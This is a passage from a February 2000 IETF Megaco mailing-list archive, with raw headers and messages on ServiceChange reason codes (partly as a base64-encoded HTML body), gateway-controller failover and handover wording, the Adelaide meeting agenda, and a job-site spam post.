PSJNUyBFeGNoYW5nZSBTZXJ2ZXIgdmVyc2lvbiA1LjUuMjQ0OC4wIj4NCjxUSVRMRT5SRTogU2Vy
dmljZUNoYW5nZSBSZWFzb24gQ29kZTwvVElUTEU+DQo8L0hFQUQ+DQo8Qk9EWT4NCg0KPFA+PEZP
TlQgQ09MT1I9IiMwMDAwRkYiIFNJWkU9MiBGQUNFPSJBcmlhbCI+V2UgY2VydGFpbmx5IGFsbG93
IHRoZSBNR0MgdG8gZm9yY2UgaGFuZG92ZXIgYnkgbWVhbnMgb2YgdGhlIFNlcnZpY2VDaGFuZ2Ug
bWV0aG9kLjwvRk9OVD4NCjwvUD4NCg0KPFA+PEZPTlQgQ09MT1I9IiMwMDAwRkYiIFNJWkU9MiBG
QUNFPSJBcmlhbCI+WW91J3JlIHdvbmRlcmluZyB3aHkgdGhlIE1HQyB3b3VsZCBwdXQgdGVybWlu
YXRpb25zIG91dCBvZiBzZXJ2aWNlLiZuYnNwOyBPbmUgdHlwaWNhbCBleGFtcGxlIHdvdWxkIGJl
IGlmIHNvbWVvbmUgcmVxdWVzdHMgdGVzdCBhY2Nlc3MgdG8gYSB0ZXJtaW5hdGlvbiBieSB3YXkg
b2YgYSBtYW5hZ2VtZW50IGludGVyZmFjZSBpbnRvIHRoZSBNR0MuJm5ic3A7IFRoZXJlIGlzIG5v
dGhpbmcgd3Jvbmcgd2l0aCB0aGUgdGVybWluYXRpb24gaXRzZWxmLCBzbyB0aGUgTUcgY2FuJ3Qg
cHJlZGljdCB0aGlzIGFoZWFkIG9mIHRpbWUuPC9GT05UPjwvUD4NCg0KPFA+PEZPTlQgQ09MT1I9
IiMwMDAwRkYiIFNJWkU9MiBGQUNFPSJBcmlhbCI+VGhpcyBzb3J0IG9mIGFjdGlvbiBoYXMgbW9y
ZSB0aGFuIGp1c3QgYm9vay1rZWVwaW5nIHZhbHVlOiBpdCBwcmV2ZW50cyB0aGUgTUcgZnJvbSBj
aG9vc2luZyB0aGUgdGVybWluYXRpb24gY29uY2VybmVkIGlmIGl0IHdvdWxkIG90aGVyd2lzZSBi
ZSBzZWxlY3RlZCBhcyB0aGUgcmVzdWx0IG9mIGEgd2lsZGNhcmQgbWF0Y2ggb24gdGVybWluYXRp
b25JRC48L0ZPTlQ+PC9QPg0KPFVMPg0KPFA+PEZPTlQgU0laRT0xIEZBQ0U9IkFyaWFsIj4tLS0t
LU9yaWdpbmFsIE1lc3NhZ2UtLS0tLTwvRk9OVD4NCjxCUj48Qj48Rk9OVCBTSVpFPTEgRkFDRT0i
QXJpYWwiPkZyb206Jm5ic3A7Jm5ic3A7PC9GT05UPjwvQj4gPEZPTlQgU0laRT0xIEZBQ0U9IkFy
aWFsIj5DaHVvbmcgTmd1eWVuIFtTTVRQOkNodW9uZy5OZ3V5ZW5AVVNBLkFMQ0FURUwuQ09NXTwv
Rk9OVD4NCjxCUj48Qj48Rk9OVCBTSVpFPTEgRkFDRT0iQXJpYWwiPlNlbnQ6Jm5ic3A7Jm5ic3A7
PC9GT05UPjwvQj4gPEZPTlQgU0laRT0xIEZBQ0U9IkFyaWFsIj5UaHVyc2RheSwgRmVicnVhcnkg
MDMsIDIwMDAgMjo1NCBQTTwvRk9OVD4NCjxCUj48Qj48Rk9OVCBTSVpFPTEgRkFDRT0iQXJpYWwi
PlRvOiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvRk9OVD48L0I+IDxGT05UIFNJWkU9MSBGQUNF
PSJBcmlhbCI+TUVHQUNPQFNUQU5EQVJEUy5OT1JURUxORVRXT1JLUy5DT008L0ZPTlQ+DQo8QlI+
PEI+PEZPTlQgU0laRT0xIEZBQ0U9IkFyaWFsIj5TdWJqZWN0OiZuYnNwOyZuYnNwOyZuYnNwOyZu
YnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvRk9OVD48L0I+IDxGT05UIFNJWkU9MSBGQUNFPSJBcmlh
bCI+U2VydmljZUNoYW5nZSBSZWFzb24gQ29kZTwvRk9OVD4NCjwvUD4NCg0KPFA+PEZPTlQgRkFD
RT0iQXJpYWwiPkhpIDwvRk9OVD4NCjwvUD4NCg0KPFA+PEZPTlQgRkFDRT0iQXJpYWwiPkNhbiBz
b21lb25lIGxvb2sgYXQgdGhlIGZvbGxvd2luZyBhbmQgcHJvdmlkZSBzb21lIGlucHV0cyBhcyB3
aGV0aGVyIGl0IGlzIGNvcnJlY3Qgb3IgY29tcGxldGU/PEJSPg0KRG8gd2UgcmVhbGx5IG5lZWQg
c28gbWFueSBSZWFzb24gQ29kZT88QlI+DQpJZiB3ZSBkbywgYWNjb3JkaW5nIHRvIHNlY3Rpb24g
MTMuMyAmcXVvdDtBIGNvbXBsZXRlIGRlc2NyaXB0aW9uIG9mIHRoZSBjb25kaXRpb24gdW5kZXIg
d2hpY2ggdGhlIHJlYXNvbjxCUj4NCmlzIHVzZWQgaXMgZGV0ZWN0ZWQgc2hhbGwgLi4uLiZxdW90
OzxCUj4NCqAtLS0tLS0tLS0tLSAoc29tZWtpbmQgb2YgdHlwbyBoZXJlKSA8L0ZPTlQ+DQo8L1A+
DQoNCjxQPjxGT05UIEZBQ0U9IkFyaWFsIj5UaGFua3M8QlI+DQpDaHVvbmc8QlI+DQqgIDwvRk9O
VD4NCjwvUD4NCg0KPFA+PEZPTlQgRkFDRT0iQXJpYWwiPkRpcmVjdGlvbqCgoKCgoKCgoKCgoKCg
IFRlcm1JZKCgoKCgoKCgoKAgTWV0aG9koKCgoKCgoKCgIFJlYXNvbjxCUj4NCk1HLSZndDtNR0Og
oKCgoKCgoCBST09UoKCgoKCgoKCgoKAgUmVzdGFydKCgoKCgoKCgoCA5MDAgU2VydmljZSBSZXN0
b3JlZCA/PzxCUj4NCqCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoCA5MDEgTUcgQ29sZCBCb290PEJSPg0KoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgIDkwMiBNRyBXYXJtIEJvb3Q8QlI+DQpNR0MtJmd0O01HoKCgoKCgoKAg
Uk9PVKCgoKCgoKCgoKCgIEhhbmRvZmagoKCgoKCgoCA5MDggTUdDIEltcGVuZGluZyBGYWlsdXJl
ID8/PEJSPg0KTUctJmd0O01HQ6CgoKCgoKCgIFJPT1SgoKCgoKCgoKCgoCBGYWlsb3ZlcqCgoKCg
oKAgOTAzIE1HQyBEaXJlY3RlZCBDaGFuZ2U8QlI+DQqgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoCA5MDggTUcg
SW1wZW5kaW5nIEZhaWx1cmU8QlI+DQqgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoCA5MDkgTUdDIEltcGVuZGlu
ZyBGYWlsdXJlPEJSPg0KTUctJmd0O01HQ6CgoKCgoKCgIHRlcm1JZChzKaCgoKCgoCBSZXN0YXJ0
oKCgoKCgoKAgOTAwIFNlcnZpY2UgUmVzdG9yZWQ8QlI+DQqgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoCBGb3JjZWSgoKCgoKCgoKAgOTA1IFRlcm1p
bmF0aW9uIHRha2VuIG91dDxCUj4NCqCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgIG9mIHNlcnZpY2U8QlI+DQqgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoCBHcmFjZWZ1bKCgoKCgoCA5MDQgVGVybWlu
YXRpb24gbWFsZnVuY3Rpb25pbmc8QlI+DQqgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoCA5MDYgTG9zcyBvZiBs
b3dlciBsYXllciBjb25uZWN0aXZpdHk8QlI+DQqgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoCA5MDcgVHJhbnNt
aXNzaW9uIEZhaWx1cmU8QlI+DQqgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoCA5MTAgTWVkaWEgQ2FwYWJpbGl0
eSBGYWlsdXJlPEJSPg0KoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKAgOTExIE1vZGVtIENhcGFiaWxpdHkgRmFp
bHVyZTxCUj4NCqCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgIDkxMiBNdXggQ2FwYWJpbGl0eSBGYWlsdXJlPEJS
Pg0KoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKAgOTEzIFNpZ25hbCBDYXBhYmlsaXR5IEZhaWx1cmU8QlI+DQqg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoCA5MTQgRXZlbnQgQ2FwYWJpbGl0eSBGYWlsdXJlPEJSPg0KTUctJmd0
O01HQ6CgoKCgoKAgUk9PVKCgoKCgoKAgRGlzY29ubmVjdGVkoKCgIDkxNSBTdGF0ZSBMb3NzPEJS
Pg0KoCA8L0ZPTlQ+DQo8L1A+DQoNCjxQPjxGT05UIEZBQ0U9IkFyaWFsIj4tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIDwvRk9OVD4NCjwv
UD4NCg0KPFA+PEZPTlQgRkFDRT0iQXJpYWwiPkRpcmVjdGlvbqCgoKCgoKCgoKCgoKCgIFRlcm1J
ZKCgoKCgoKCgoKAgTWV0aG9koKCgoKCgoKCgIFJlYXNvbjxCUj4NCk1HQy0mZ3Q7TUegoKCgoKCg
oCBST09UoKCgoKCgoKCgoKAgRm9yY2VkIG9yoKCgoKCgIENhbiB3ZSBldmVuIGFsbG93IHRoaXM/
PEJSPg0KoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oCBHcmFjZWZ1bKCgoKCgoKCgIElmIHllcyw8QlI+DQqgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKAgOTAxIE1H
IENvbGQgQm9vdCBvcjxCUj4NCqCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoCA5MDIgTUcgV2FybSBCb290IG9y
PEJSPg0KoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgIDkwMyBNR0MgRGlyZWN0ZWQgQ2hhbmdlIG9yPzxCUj4N
CqCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKAgdGVybUlkKHMpoKCgoKCgoCBGb3JjZWSgoKCg
oKCgoKAgOTA1IFRlcm1pbmF0aW9uIHRha2VuIG91dCBvZiBzZXJ2aWNlPEJSPg0KoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoCB0ZXJtSWQocymgoKCgoKCgIEdyYWNlZnVsoKCgoKCgoCBzYW1l
IHJlYXNvbnMgYXMgTUctTUdDPzxCUj4NCqCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKAgQ2FuJ3QgYmUgcmlnaHQg
YmVjYXVzZSBNRyB3b3VsZCBhbHJlYWR5IGtub3c8QlI+DQqgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgIHdoYXQg
aXMgd3Jvbmcgdy90ZXJtIGJlZm9yZSBNR0MuPEJSPg0KoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgIHRlcm1JZChzKaCgoKCgoCBSZXN0YXJ0oKCgoKCgoKAgOTAwIFNlcnZpY2UgUmVzdG9yZWSg
ID8/PzxCUj4NCqCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoCA5MDMgTUdDIERpcmVjdGVkIENoYW5nZTxCUj4NCqCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoCBST09UoKCgoKCgoKCgoKAgUmVzdGFydKCgoKCgoKCg
IE9ubHkgaWYgTUcgaXMgdXAgYnV0IG91dCBzZXJ2aWNlLjxCUj4NCqCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoCA5
MDAgTUdDIFNlcnZpY2UgUmVzdG9yZWQgPz88QlI+DQqgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCg
oKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKAgOTAzIE1HQyBE
aXJlY3RlZCBDaGFuZ2UgPC9GT05UPg0KPC9QPg0KDQo8UD48Rk9OVCBGQUNFPSJBcmlhbCI+V2h5
IHdvdWxkIE1HQyBuZWVkcyB0byB0YWtlIHRlcm1pbmF0aW9ucyBvdXQgb2Ygc2VydmljZT88QlI+
DQpGb3IgZXBoZW1lcmFsLCBpdCBkb2VzIG5vdCBtYWtlIHNlbnNlLjxCUj4NCkZvciBwaHlzaWNh
bCwgTUcgd291bGQga25vdyBzb21ldGhpbmcgaXMgd3Jvbmcgd2l0aCB0aGUgdGVybWluYXRpb248
QlI+DQpiZWZvcmUgTUdDIHdvdWxkLjxCUj4NClJlZ2FyZGxlc3MsIHRoaXMgaXMgdXNlZnVsIGlu
IGEgc2Vuc2UgaXQgcHJldmVudHMgdGhlIE1HIGZyb20gQ0hPT1NJTkc8QlI+DQphIHRlcm1pbmF0
aW9uIHRoYXQgTUdDIHdhbnRzIHRvIGJlIG91dCBvZiBzZXJ2aWNlLjxCUj4NCkkgZG9uJ3QgcXVp
dGUgdW5kZXJzdGFuZCB0aGUgbmVlZHMgZm9yIGJvdGggRm9yY2VkIGFuZCBHcmFjZWZ1bCBoZXJl
LjxCUj4NCkkgd291bGQgdGhpbmsgdGhhdCB0aGUgTUdDIHdvdWxkIGhhdmUgU3VidHJhY3QgdGhl
IHRlcm1pbmF0aW9ucyBiZWZvcmU8QlI+DQp0YWtpbmcgdGhlbSBvdXQgb2Ygc2VydmljZS6gIFRo
aXMgaXMgYmVjYXVzZSBGb3JjZSBvciBHcmFjZWZ1bCBkb2VzIG5vdDxCUj4NCnRha2UgdGVybWlu
YXRpb25zIG91dCBvZiBjb250ZXh0LjxCUj4NClNvIHNlZW1zIGxpa2UgaXQgaXMgYWx3YXlzIEZv
cmNlZC48QlI+DQqgPEJSPg0KoCA8L0ZPTlQ+DQo8QlI+PEZPTlQgU0laRT0yIEZBQ0U9IkNvdXJp
ZXIgTmV3Ij4tLaA8QlI+DQqgIEFsY2F0ZWwgVVNBLCBJbmOgoKCgoKCgoKCgoKAgSW50ZXJuZXQ6
IENodW9uZy5OZ3V5ZW5AdXNhLmFsY2F0ZWwuY29tPEJSPg0KoCAxMDAwIENvaXQgUm9hZCBQbGFu
bywgVGV4YXMgNzUwNzWgoKCgoKCgoKCgIFBob25lOqCgoCAoOTcyKSA1MTktNDYxMzxCUj4NCqAg
KioqKiBUaGUgb3BpbmlvbnMgZXhwcmVzc2VkIGFyZSBub3QgdGhvc2Ugb2YgQWxjYXRlbCBVU0Es
IEluYyAqKioqPC9GT05UPg0KPEJSPjxGT05UIEZBQ0U9IkFyaWFsIj6gPC9GT05UPg0KPC9QPg0K
PC9VTD4NCjwvQk9EWT4NCjwvSFRNTD4=

------_=_NextPart_001_01BF6E87.3FD8A54A--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 16:57:01 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA00433
	for ; Thu, 3 Feb 2000 16:56:58 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.4445DFA0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 16:53:59 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21883 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 16:52:25 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.0C481280@standards.nortelnetworks.com>; Thu, 3 Feb 2000
          16:52:25 -0500
Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 15:09:25 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Thu, 3
          Feb 2000 16:09:14 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1D5VB53V>; Thu, 3 Feb 2000 16:09:14 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2448.0)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF6E8A.EC980552"
Message-ID:  
Date:         Thu, 3 Feb 2000 16:09:11 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Re: Cisco SG16: Failover
X-To:         Chip Sharp 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF6E8A.EC980552
Content-Type: text/plain

Looks like an useful clarification to the existing text.

> -----Original Message-----
> From: Chip Sharp [SMTP:chsharp@CISCO.COM]
> Sent: Tuesday, January 25, 2000 7:34 PM
        [[TomT]]  snip
>
> Section:        11.4, third paragraph
> Category:       Technical
> Issue:          The draft text specifies that "Accordingly, commands in
> progress
> continue, transaction replies are sent to the new MGC, and the MG should
> expect outstanding transaction replies from the new MGC". It is not clear
> if messages are directed to the new MGC prior to the handoff being
> confirmed by a new MGC or not. Also, it is not defined where retransmitted
> transactionrequests are to be sent when a handover occurs until Annex
> D.1.4. In order to support consistent and transparent handoff, the above
> must be specified.
> Proposal:       It is recommended, that messages are not directed to a new
> MGC
> until that MGC has accepted the handover (it is not clear if this is in
> line with specification in Annex D.1.4 or not). It also proposed, that
> retransmitted transactionrequests are sent to the new MGC as specified in
> Annex D.1.4.
>
> v13 Status:     OPEN. No text changed.
>
> --------------------------------------------------

------_=_NextPart_001_01BF6E8A.EC980552
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable






RE: Cisco SG16: Failover




Looks like an useful =
clarification to the existing text.



    

    -----Original Message-----

    From:   Chip Sharp [SMTP:chsharp@CISCO.COM]

    Sent:   Tuesday, January 25, 2000 7:34 PM

    [[TomT]]  snip

     

    Section:        11.4, =
third paragraph

    Category:       =
Technical

    Issue:        &nb=
sp; The draft text specifies that "Accordingly, commands in =
progress

    continue, transaction replies are =
sent to the new MGC, and the MG should

    expect outstanding transaction =
replies from the new MGC". It is not clear

    if messages are directed to the new =
MGC prior to the handoff being

    confirmed by a new MGC or not. Also, =
it is not defined where retransmitted

    transactionrequests are to be sent =
when a handover occurs until Annex

    D.1.4. In order to support consistent =
and transparent handoff, the above

    must be specified.

    Proposal:       It is =
recommended, that messages are not directed to a new MGC

    until that MGC has accepted the =
handover (it is not clear if this is in

    line with specification in Annex =
D.1.4 or not). It also proposed, that

    retransmitted transactionrequests are =
sent to the new MGC as specified in

    Annex D.1.4.

    


    v13 Status:     =
OPEN. No text changed.

    


    --------------------------------------------------=


    




------_=_NextPart_001_01BF6E8A.EC980552--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 17:13:39 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA01065
	for ; Thu, 3 Feb 2000 17:13:39 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.A623D1D0@standards.nortelnetworks.com>; Thu, 3 Feb 2000 17:11:02 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21918 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 17:10:22 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.8DFDB8A0@standards.nortelnetworks.com>; Thu, 3 Feb 2000
          17:10:22 -0500
Received: from zmers013 by smtprch1.nortel.com; Thu, 3 Feb 2000 15:32:19 -0600
Received: from zrchb213.us.nortel.com by zmers013; Thu, 3 Feb 2000 16:32:02
          -0500
Received: by zrchb213.us.nortel.com with Internet Mail Service (5.5.2448.0) id
          <1F2TKSNJ>; Thu, 3 Feb 2000 15:32:00 -0600
X-Mailer: Internet Mail Service (5.5.2448.0)
Message-ID:  
Date:         Thu, 3 Feb 2000 15:31:59 -0600
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Adelaide Meeting
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

First-pass agenda has us meeting Tuesday morning:

0900-1130  Morning Sessions
        APP  calsch     Calendaring and Scheduling WG
        INT  dnsext     DNS Extensions WG *
        OPS  rap        Resource Allocation Protocol WG
        RTG  mobileip   IP Routing for Wireless/Mobile Hosts WG
        TSV  enum       Telephone Number Mapping WG
        TSV  megaco     Media Gateway Control WG


Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 17:34:22 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA01401
	for ; Thu, 3 Feb 2000 17:34:22 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.50400740@standards.nortelnetworks.com>; Thu, 3 Feb 2000 17:30:07 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 21960 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 17:28:18 -0500
Received: from pub1.justmyjobs.com (63.225.18.212) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.A9C63070@standards.nortelnetworks.com>; Thu, 3 Feb 2000
          17:18:18 -0500
Received: from justcomputerjobs.com ([63.225.18.213]) by pub1.justmyjobs.com
          (Lotus SMTP MTA v4.6.5  (863.2 5-20-1999)) with SMTP id
          8725687A.006267A0; Thu, 3 Feb 2000 10:54:50 -0700
Message-ID:  
Date:         Thu, 3 Feb 2000 17:28:18 -0500
Reply-To: rudyl@justcomputerjobs.com
Sender: "Media Gateway Control (megaco)"
              
From: rudyl@justcomputerjobs.com
Subject:      Free Postings on JustTelephonyJobs.com
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Right now you can post unlimited jobs on http://www.JustTelephonyJobs.com for FREE!  JustTelephonyJobs.com is part of the JustComputerJobs.com family of tech specific jobsites.

JustComputerJobs.com is a jobsite for technology professionals with a twist. Rather than being an enormous generic jobsite, we are a collection of technology-niched jobsites that allow you unparalleled ability to target your audience.

Our flagship site http://www.JustNotesJobs.com is already the largest Lotus Notes jobsite on the Web and we've applied that same strategy to 38 other technologies.

Below is a list of our jobsites and instructions on how to post:

http://www.JustAccessJobs.com
http://www.JustAS400Jobs.com
http://www.JustASPJobs.com
http://www.JustBaanJobs.com
http://www.JustCJobs.com
http://www.JustCADJobs.com
http://www.JustCOBOLJobs.com
http://www.JustColdFusionJobs.com
http://www.JustDB2Jobs.com
http://www.JustDelphiJobs.com
http://www.JustE-CommerceJobs.com
http://www.JustExchangeJobs.com
http://www.JustFoxProJobs.com
http://www.JustHelpDeskJobs.com
http://www.JustInformixJobs.com
http://www.JustJavaJobs.com
http://www.JustMainframeJobs.com
http://www.JustNetwareJobs.com
http://www.JustNetworkingJobs.com
http://www.JustNotesJobs.com
http://www.JustNTJobs.com
http://www.JustOLAPJobs.com
http://www.JustOracleJobs.com
http://www.JustPeopleSoftJobs.com
http://www.JustPerlJobs.com
http://www.JustPowerBuilderJobs.com
http://www.JustProgressJobs.com
http://www.JustProjectManagerJobs.com
http://www.JustQAJobs.com
http://www.JustSAPJobs.com
http://www.JustSecurityJobs.com
http://www.JustSiebelJobs.com
http://www.JustSQLServerJobs.com
http://www.JustSybaseJobs.com
http://www.JustTechSalesJobs.com
http://www.JustTelephonyJobs.com
http://www.JustUnixJobs.com
http://www.JustVBJobs.com
http://www.JustWebJobs.com


To get started posting jobs on our sites:
1) go to http://www.JustComputerJobs.com/employer.nsf/FreeTestDrive
2) follow the onscreen instructions to register and begin posting to our 39 technology-niched jobsites.


Thank you,

Russ and Rudy
JustComputerJobs.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Thu Feb  3 17:47:00 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA01503
	for ; Thu, 3 Feb 2000 17:46:55 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.47F96D90@standards.nortelnetworks.com>; Thu, 3 Feb 2000 17:44:12 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 22011 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Thu, 3 Feb 2000 17:42:32 -0500
Received: from fw7.dsccc.com by standards.nortelnetworks.com (LSMTP for Windows
          NT v1.1a) with SMTP id <0.A659CE90@standards.nortelnetworks.com>;
          Thu, 3 Feb 2000 17:32:31 -0500
Received: (from uucp@localhost) by fw7.dsccc.com (8.8.8+Sun/8.8.8) id QAA20772
          for ; Thu, 3 Feb 2000 16:34:38
          -0600 (CST)
Received: from relay2.dsccc.com(143.209.238.7) by fw7 via smap (V2.0) id
          xma020689; Thu, 3 Feb 00 16:34:06 -0600
Received: from psun6.usa.alcatel.com (localhost [127.0.0.1]) by
          relay2.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id QAA29958 for
          ; Thu, 3 Feb 2000 16:35:10 -0600
          (CST)
Received: from ssd.usa.alcatel.com ([127.0.0.1]) by psun6.usa.alcatel.com
          (Netscape Messaging Server 3.6)  with ESMTP id AAB222A for
          ; Thu, 3 Feb 2000 16:34:03 -0600
Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com
          [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with
          ESMTP id QAA07921 for ; Thu, 3
          Feb 2000 16:33:56 -0600 (CST)
Received: from usa.alcatel.com (localhost [127.0.0.1]) by
          sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id QAA21470
          for ; Thu, 3 Feb 2000 16:33:56
          -0600 (CST)
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: multipart/alternative;
              boundary="------------9054E3319F634D80C59AB255"
Message-ID:  <389A0253.2B9134B0@usa.alcatel.com>
Date:         Thu, 3 Feb 2000 16:33:56 -0600
Reply-To: Chuong Nguyen 
Sender: "Media Gateway Control (megaco)"
              
From: Chuong Nguyen 
Subject:      Re: ServiceChange Reason Code
